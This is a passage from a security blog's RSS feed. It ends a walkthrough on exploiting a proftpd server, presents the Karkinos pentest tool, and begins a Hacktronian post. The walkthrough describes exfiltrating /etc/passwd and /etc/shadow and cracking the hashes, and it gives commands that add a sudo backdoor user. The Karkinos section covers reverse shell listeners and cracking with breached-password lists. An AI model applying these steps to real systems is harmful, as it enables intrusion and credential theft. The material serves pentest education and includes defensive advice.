<p>The Linux <strong>/etc/password</strong> file contains a list of system users, combined with the <strong>/etc/shadow</strong> file which contains encrypted passwords. Together these two files can be hacked to reveal username/password combinations for lateral movement through the network.</p>
<p>Again, we don’t really care about protecting our identity or our intentions (a SIEM would flag this immediately) so we are going to use <strong>scp</strong> (secure copy) to copy the password and shadow files to our remote server.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='89.36989498249709'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And <strong>/etc/shadow</strong></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='778' height='99.33161953727506'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>We exfiltrated <strong>/etc/passwd</strong> and <strong>/etc/shadow</strong> to our local machine. There is no reason that we could not also exfiltrate databases, customer information, stored credit cards, or company-sensitive information out of the network to a remote location as we did with the password files.</p>
<h2 id="h-usernames-and-passwords">Usernames and Passwords</h2>
<p>Cracking the hashed passwords is beyond the scope of this walkthrough, but if you can crack the passwords, an attacker can use the same credentials to pivot to other machines across the network. <strong>John the Ripper</strong> and <strong>Hashcat</strong> are two well-known password cracking tools that can quickly reveal username/password combinations.</p>
<h2 id="h-maintaining-persistence">Maintaining Persistence</h2>
<p>Persistence in cybersecurity occurs when a threat actor discreetly maintains long-term access to systems despite disruptions such as restarts or changed credentials.  As root user, we can perform any administrative task we want, including adding users. One of the ways to maintain persistence is by adding a new user so the threat actor can gain access at a later time. Let’s add a new user.</p>
<p><code>root@vtsec:/# adduser badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='738' height='54.22764227642276'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And give them superuser access.</p>
<p><code>root@vtsec:/# usermod -aG sudo badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='740' height='61.54054054054054'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>In the Sophos Active Adversary Playbook for 2021, “The median time that attackers were able to remain in the target network before detection – dwell time – was 11 days. This provides attackers with approximately 264 hours for malicious activity, such as lateral movement, reconnaissance, credential dumping, data exfiltration, and more.” Becoming a user of the system is one of the ways they can maintain persistence during this dwell time.</p>
<h2 id="h-how-to-protect-your-network">How to Protect Your Network</h2>
<p>This type of attack would be caught by Antivirus (AV), Data Loss Prevention (DLP), and other SIEM solutions to control intrusions and data exfiltration. These are all basic cyber security tools that are part of a company’s overall security strategy that focuses on detecting and preventing the loss, leakage, or misuse of data through breaches, exfiltration, and unauthorized use.</p>
<p>Although it’s unlikely to find the <strong>proftpd 1.3.3c</strong> vulnerability because it was patched a long time ago, protecting your servers from this type of attack is the first step to protecting them. Update your software and perform routine patch management for all of your services.</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
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		<title>Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</title>
		<link>http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/</link>
					<comments>http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 23 Jan 2023 19:31:24 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Penetration Testing Framework]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2145</guid>

					<description><![CDATA[<p>What is Karkinos? Karkinos is a light-weight &#8216;Swiss Army Knife&#8217; for penetration testing and/or hacking CTF&#8217;s. Currently, Karkinos offers the following: Encoding/Decoding characters Encrypting/Decrypting text or files 3 Modules Cracking and generating hashes Disclaimer This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/">Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2><strong>What is Karkinos?</strong></h2>
<p dir="auto">Karkinos is a light-weight &#8216;Swiss Army Knife&#8217; for penetration testing and/or hacking CTF&#8217;s. Currently, Karkinos offers the following:</p>
<ul dir="auto">
<li>Encoding/Decoding characters</li>
<li>Encrypting/Decrypting text or files</li>
<li>3 Modules</li>
<li>Cracking and generating hashes</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be solely the users’ responsibility.</p>
<p>More: <a href="https://github.com/helich0pper/Karkinos" target="_blank" rel="noopener">https://github.com/helich0pper/Karkinos</a></p>
<h2><strong>Dependencies</strong></h2>
<ul>
<li>Any server capable of hosting PHP; tested with Apache Server</li>
<li>Tested with PHP 7.4.9</li>
<li>Tested with Python 3.8<br />
Make sure it is in your path as:<br />
Windows: <code>python</code><br />
Linux: <code>python3</code><br />
If it is not, please change the commands in <code>includes/pid.php</code></li>
<li>pip3</li>
<li>Raspberry Pi Zero friendly <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (crack hashes at your own risk)</li>
</ul>
<h2><a id="user-content-installing" class="anchor" href="https://github.com/helich0pper/Karkinos#installing" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Installing</strong></h2>
<p>This installation guide assumes you have all the dependencies. A Wiki page with troubleshooting steps can be found <a href="https://helich0pper.github.io/karkinos/" target="_blank" rel="nofollow noopener">here</a>.</p>
<h3><a id="user-content-linuxbsd" class="anchor" href="https://github.com/helich0pper/Karkinos#linuxbsd" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Linux/BSD</strong></h3>
<ol dir="auto">
<li><code>git clone https://github.com/helich0pper/Karkinos.git</code></li>
<li><code>cd Karkinos</code></li>
<li><code>pip3 install -r requirements.txt</code></li>
<li><code>cd wordlists &amp;&amp; unzip passlist.zip</code> You can also unzip it manually using file explorer. Just make sure passlist.txt is in <strong>wordlists</strong> directory.</li>
<li><code>Make sure you have write privileges for db/main.db</code></li>
<li>Enable <code>extension=mysqli</code> in your php.ini file.<br />
If you don&#8217;t know where to find this, refer to the PHP <a href="https://www.php.net/manual/en/configuration.file.php#:~:text=d%20php%20PHP%20will%20load,ini%20as%20configuration%20files." target="_blank" rel="nofollow noopener">docs</a>. Note: MySQLi is only used to store statistics.</li>
<li>Thats it! Now just host it using your preferred web server or run: <code>php -S 127.0.0.1:8888</code> in the Karkinos directory.<strong>Important: using port 5555, 5556, or 5557 will conflict with the Modules</strong><br />
If you insist on using these ports, change the <code>PORT</code> value in:</li>
</ol>
<ul>
<li>
<ul dir="auto">
<li><code>/bin/Server/app.py Line 87</code></li>
<li><code>/bin/Busting/app.py Line 155</code></li>
<li><code>/bin/PortScan/app.py Line 128</code></li>
</ul>
</li>
</ul>
<h2 dir="auto"><strong>Windows</strong></h2>
<ol dir="auto">
<li><code>git clone https://github.com/helich0pper/Karkinos.git</code></li>
<li><code>cd Karkinos</code></li>
<li><code>pip3 install -r requirements.txt</code></li>
<li><code>cd wordlists &amp;&amp; unzip passlist.zip</code><br />
You can also unzip it manually using file explorer. Just make sure passlist.txt is in <strong>wordlists</strong> directory.</li>
<li><code>Make sure you have write privileges for db/main.db</code></li>
<li>Enable <code>extension=mysqli.dll</code> in your php.ini file.<br />
If you don&#8217;t know where to find this, refer to the PHP <a href="https://www.php.net/manual/en/configuration.file.php#:~:text=d%20php%20PHP%20will%20load,ini%20as%20configuration%20files." target="_blank" rel="nofollow noopener">docs</a>. Note: MySQLi is only used to store statistics</li>
<li>Thats it! Now just host it using your preferred web server or run: <code>php -S 127.0.0.1:8888</code> in the Karkinos directory.<strong>Important: using port 5555, 5556, or 5557 will conflict with the Modules</strong><br />
If you insist on using these ports, change the <code>PORT</code> value in:</li>
</ol>
<ul dir="auto">
<li><code>/bin/Server/app.py Line 87</code></li>
<li><code>/bin/Busting/app.py Line 155</code></li>
<li><code>/bin/PortScan/app.py Line 128</code></li>
</ul>
<h3><a id="user-content-home-menu" class="anchor" href="https://github.com/helich0pper/Karkinos#home-menu" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Home Menu</strong></h3>
<p>Landing page and quick access menu.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/home-4.png"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-232590" src="https://hakin9.org/wp-content/uploads/2020/12/home-4.png" sizes="(max-width: 1327px) 100vw, 1327px" srcset="https://hakin9.org/wp-content/uploads/2020/12/home-4.png 1327w, https://hakin9.org/wp-content/uploads/2020/12/home-4-378x251.png 378w, https://hakin9.org/wp-content/uploads/2020/12/home-4-565x376.png 565w, https://hakin9.org/wp-content/uploads/2020/12/home-4-460x306.png 460w, https://hakin9.org/wp-content/uploads/2020/12/home-4-1024x681.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/home-4-768x510.png 768w, https://hakin9.org/wp-content/uploads/2020/12/home-4-500x332.png 500w, https://hakin9.org/wp-content/uploads/2020/12/home-4-200x133.png 200w, https://hakin9.org/wp-content/uploads/2020/12/home-4-120x80.png 120w, https://hakin9.org/wp-content/uploads/2020/12/home-4-310x206.png 310w" alt="" width="1327" height="882" /></a></p>
<p>User stats are displayed here. Currently, the stats recorded are only the total hashes and hash types cracked successfully.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png"><img decoding="async" class="alignnone size-full wp-image-232591" src="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png" sizes="(max-width: 1103px) 100vw, 1103px" srcset="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png 1103w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-378x309.png 378w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-565x463.png 565w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-460x377.png 460w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-1024x838.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-768x629.png 768w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-500x409.png 500w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-200x164.png 200w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-120x98.png 120w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-310x254.png 310w" alt="" width="1103" height="903" /></a></p>
<h3><strong>Encoding/Decoding</strong></h3>
<p>This page allows you to encode/decode in common formats (more may be added soon)</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/encode.png"><img decoding="async" class="alignnone wp-image-192571" src="https://hakin9.org/wp-content/uploads/2020/12/encode.png" sizes="(max-width: 798px) 100vw, 798px" srcset="https://hakin9.org/wp-content/uploads/2020/12/encode.png 1636w, https://hakin9.org/wp-content/uploads/2020/12/encode-378x208.png 378w, https://hakin9.org/wp-content/uploads/2020/12/encode-565x311.png 565w, https://hakin9.org/wp-content/uploads/2020/12/encode-460x253.png 460w, https://hakin9.org/wp-content/uploads/2020/12/encode-1024x564.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/encode-768x423.png 768w, https://hakin9.org/wp-content/uploads/2020/12/encode-1536x846.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/encode-500x275.png 500w, https://hakin9.org/wp-content/uploads/2020/12/encode-200x110.png 200w, https://hakin9.org/wp-content/uploads/2020/12/encode-120x66.png 120w, https://hakin9.org/wp-content/uploads/2020/12/encode-310x171.png 310w" alt="" width="798" height="439" /></a></p>
<h3><strong>Encrypt/Decrypt</strong></h3>
<p>Encrypting and decrypting text or files is made easy and is fully trusted since it is done locally.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192593" src="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png" sizes="auto, (max-width: 853px) 100vw, 853px" srcset="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png 1746w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-378x190.png 378w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-565x284.png 565w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-460x232.png 460w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-1024x516.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-768x387.png 768w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-1536x773.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-500x252.png 500w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-200x101.png 200w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-120x60.png 120w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-310x156.png 310w" alt="" width="853" height="430" /></a></p>
<h3><strong>Reverse Shell Handling</strong></h3>
<p>Reverse shells can be captured and interacted with on this page.</p>
<h3><a id="user-content-create-a-listener-instance" class="anchor" href="https://github.com/helich0pper/Karkinos#create-a-listener-instance" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Create a listener instance</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232592" src="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png" sizes="auto, (max-width: 1734px) 100vw, 1734px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png 1734w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-378x194.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-565x291.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-460x237.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-1024x527.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-768x395.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-1536x790.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-500x257.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-200x103.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-120x62.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-310x159.png 310w" alt="" width="1734" height="892" /></a></p>
<h3><strong>Configure the listener</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232593" src="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png" sizes="auto, (max-width: 1875px) 100vw, 1875px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png 1875w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-378x154.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-565x231.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-460x188.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-1024x418.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-768x314.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-1536x628.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-500x204.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-200x82.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-120x49.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-310x127.png 310w" alt="" width="1875" height="766" /></a></p>
<h3><strong>Start the listener and capture a shell</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232594" src="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png" sizes="auto, (max-width: 1861px) 100vw, 1861px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png 1861w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-378x166.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-565x248.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-460x202.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-1024x450.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-768x337.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-1536x674.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-500x220.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-200x88.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-120x53.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-310x136.png 310w" alt="" width="1861" height="817" /></a></p>
<h3 dir="auto"><strong>Full reverse shell handling demo:</strong></h3>
<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/zriDUmHimXE?modestbranding=1" name="fitvid0" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2 dir="auto"><strong>Directory and File Busting</strong></h2>
<h3 dir="auto"><a id="user-content-create-an-instance" class="anchor" href="https://github.com/helich0pper/Karkinos#create-an-instance" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Create an instance</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232595" src="https://hakin9.org/wp-content/uploads/2020/12/busting1.png" sizes="auto, (max-width: 1774px) 100vw, 1774px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting1.png 1774w, https://hakin9.org/wp-content/uploads/2020/12/busting1-378x191.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting1-565x286.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting1-460x233.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting1-1024x518.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting1-768x389.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting1-1536x778.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting1-500x253.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting1-200x101.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting1-120x61.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting1-310x157.png 310w" alt="" width="1774" height="898" /></a></p>
<h3 dir="auto"><strong>Configure it</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting2.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232596" src="https://hakin9.org/wp-content/uploads/2020/12/busting2.png" sizes="auto, (max-width: 1880px) 100vw, 1880px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting2.png 1880w, https://hakin9.org/wp-content/uploads/2020/12/busting2-378x165.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting2-565x246.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting2-460x200.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting2-1024x446.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting2-768x335.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting2-1536x669.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting2-500x218.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting2-200x87.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting2-120x52.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting2-310x135.png 310w" alt="" width="1880" height="819" /></a></p>
<h3 dir="auto"><strong>Start scanning</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232597" src="https://hakin9.org/wp-content/uploads/2020/12/busting3.png" sizes="auto, (max-width: 1859px) 100vw, 1859px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting3.png 1859w, https://hakin9.org/wp-content/uploads/2020/12/busting3-378x179.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting3-565x267.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting3-460x218.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting3-1024x484.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting3-768x363.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting3-1536x726.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting3-500x236.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting3-200x95.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting3-120x57.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting3-310x147.png 310w" alt="" width="1859" height="879" /></a></p>
<h3 dir="auto"><strong>Full Directory and File Busting demo:</strong></h3>
<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/cS9j9FXs6bE?modestbranding=1" name="fitvid1" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2 dir="auto"><strong>Port Scanning</strong></h2>
<h3 dir="auto"><a id="user-content-launch-the-scanner" class="anchor" href="https://github.com/helich0pper/Karkinos#launch-the-scanner" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Launch the scanner</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232598" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png" sizes="auto, (max-width: 1576px) 100vw, 1576px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png 1576w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-378x177.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-565x265.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-460x216.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-1024x480.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-768x360.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-1536x720.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-500x234.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-200x94.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-120x56.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-310x145.png 310w" alt="" width="1576" height="739" /></a></p>
<h3 dir="auto"><strong>Configure it</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232599" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png" sizes="auto, (max-width: 1802px) 100vw, 1802px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png 1802w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-378x144.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-565x215.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-460x175.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-1024x390.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-768x292.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-1536x585.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-500x190.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-200x76.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-120x46.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-310x118.png 310w" alt="" width="1802" height="686" /></a></p>
<h3 dir="auto"><strong>Start scanning</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232600" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png" sizes="auto, (max-width: 1801px) 100vw, 1801px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png 1801w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-378x152.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-565x227.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-460x184.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-1024x411.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-768x308.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-1536x616.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-500x200.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-200x80.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-120x48.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-310x124.png 310w" alt="" width="1801" height="722" /></a></p>
<h3 dir="auto"><strong>Full Port Scanning Demo</strong>:</h3>
<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/FybH4s_FyNA" name="fitvid2" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2><strong>Generating Hashes</strong></h2>
<p>Karkinos can generate commonly used hashes such as:</p>
<ul>
<li>MD5</li>
<li>SHA1</li>
<li>SHA256</li>
<li>SHA512</li>
</ul>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/convert.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192706" src="https://hakin9.org/wp-content/uploads/2020/12/convert.png" sizes="auto, (max-width: 882px) 100vw, 882px" srcset="https://hakin9.org/wp-content/uploads/2020/12/convert.png 1446w, https://hakin9.org/wp-content/uploads/2020/12/convert-378x221.png 378w, https://hakin9.org/wp-content/uploads/2020/12/convert-565x330.png 565w, https://hakin9.org/wp-content/uploads/2020/12/convert-460x269.png 460w, https://hakin9.org/wp-content/uploads/2020/12/convert-1024x598.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/convert-768x449.png 768w, https://hakin9.org/wp-content/uploads/2020/12/convert-500x292.png 500w, https://hakin9.org/wp-content/uploads/2020/12/convert-200x117.png 200w, https://hakin9.org/wp-content/uploads/2020/12/convert-120x70.png 120w, https://hakin9.org/wp-content/uploads/2020/12/convert-310x181.png 310w" alt="" width="882" height="515" /></a></p>
<h2><strong>Cracking Hashes</strong></h2>
<p>Karkinos offers the option to <strong>simultaneously</strong> crack hashes using a built-in wordlist consisting of over 15 million common and breached passwords. This list can easily be modified and/or completely replaced.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/crack.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192728" src="https://hakin9.org/wp-content/uploads/2020/12/crack.png" sizes="auto, (max-width: 902px) 100vw, 902px" srcset="https://hakin9.org/wp-content/uploads/2020/12/crack.png 1449w, https://hakin9.org/wp-content/uploads/2020/12/crack-378x237.png 378w, https://hakin9.org/wp-content/uploads/2020/12/crack-565x354.png 565w, https://hakin9.org/wp-content/uploads/2020/12/crack-460x288.png 460w, https://hakin9.org/wp-content/uploads/2020/12/crack-1024x641.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/crack-768x481.png 768w, https://hakin9.org/wp-content/uploads/2020/12/crack-500x313.png 500w, https://hakin9.org/wp-content/uploads/2020/12/crack-200x125.png 200w, https://hakin9.org/wp-content/uploads/2020/12/crack-120x75.png 120w, https://hakin9.org/wp-content/uploads/2020/12/crack-310x194.png 310w" alt="" width="902" height="565" /></a></p>
<p>The post <a href="http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/">Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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			</item>
		<item>
		<title>Hacktronian: All in One Hacking Tool for Linux</title>
		<link>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/</link>
					<comments>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 22 Aug 2021 19:05:06 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Hacker Tools]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2099</guid>

					<description><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester. Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester.</p>
